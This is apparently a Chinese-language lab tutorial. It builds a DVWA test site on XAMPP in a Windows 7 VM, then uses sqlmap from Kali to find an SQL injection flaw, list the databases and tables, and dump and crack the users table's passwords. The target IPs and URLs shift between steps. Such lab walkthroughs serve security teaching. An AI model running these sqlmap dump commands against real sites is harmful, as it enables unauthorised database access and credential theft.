我用的是在VMware下的虚拟机,在这就不说如何安装kali和win7了,各位自己去网上找一下大神们的教程,就很容易安装了。(统一说明:为了安全性等各方面考虑,下载软件最好到软件的官网上去下载)我用的系统如下:
kali:192.168.0.183 进行SQL注入
win7:192.168.0.184 安装xampp,搭建dvwa环境
dvwa使用PHP写的,所以首先需要搭建web运行环境,我这里使用的是xampp,本人用的方便快捷,比较顺手,也比较熟悉。
1、安装xampp
下载对应版本的xampp,上xampp官网:https://www.apachefriends.org/download.html ,安装过程没啥好说的,点击“下一步”直到安装完成,我是装在C盘根目录(因为是虚拟机win7)
打开之后在出现的“XAMPP控制面板窗口”中,点击“Apache”同行的“Config按钮”,然后选择“Apache (httpd.conf)”,打开http的配置文件。
在打开的“httpd.conf文件”中,找到“Listen”后,将其端口改为“8000”(默认的80端口并不安全,8005,8009,8080端口会被Tomcat占用),保存修改后,关闭该文件。
返回“XAMPP控制面板窗口”中,继续点击“MySQL”右侧的“Config按钮”,然后选择弹出菜单中的“my.ini”,打开MySQL的配置文件。
在打开的“my.ini文件”中,找到“[client]”后,可以设置客户端连接MySQL的密码和端口。设置并保存后,可以直接关闭该文件。
点击“Apache”同行的“admin”,如果见到XAMPP的欢迎页,表示Apache工作正常。
2、安装dvwa
到dvwa官网上:http://www.dvwa.co.uk/ 下载最新的压缩包
下载后,将其解压到xampp安装路径下的htdocs目录下
然后进入DVWA,打开config目录里的config.inc.php ,修改数据库的账号密码(该密码与你前面xampp内MySQL数据库的账号密码一致)
打开浏览器,输入http://127.0.0.1/DVWA/setup.php ,点击下面的按钮,就会自动创建数据库
接着会跳转到DVWA的登录页面默认用户名:admin ,默认密码:password 成功登录
到这里,测试环境dvwa算是搭建好了。
3、kali下的SQL注入
(1)在kali下打开浏览器,输入http://192.168.0.184(win7的IP地址)/DVWA/login.php 输入账号密码登录进去,然后点击左侧的“DVWA Security”,选择“low”级别,点击选定。
(2)打开火狐浏览器,添加附件组件tamper data,安装后打开,然后登录dvwa,获取cookie值
(3)获取要测试的url,点击SQL Injection菜单,在输入框输入1,点击submit,获取待测试的url:http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#
(4)使用sqlmap测试该url是否存在sql注入漏洞,返回MySQL数据库的版本信息
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=n4tkop4ku1lbmsa4o6326vsv90”
(5)探测MYSQL的数据库名称
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” --dbs
(6)查询dvwa数据库存在的表名
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” -D dvwa --tables
(7)查询users表中的字段列表
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” -D dvwa --tables -T users --columns
(8)导出users表,会列出所有的列的用户名和密码,sqlmap会提出是否破解密码,按回车确定
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” -D dvwa --tables -T users --columns --dump
这时就可以利用admin账户登录做任何事了。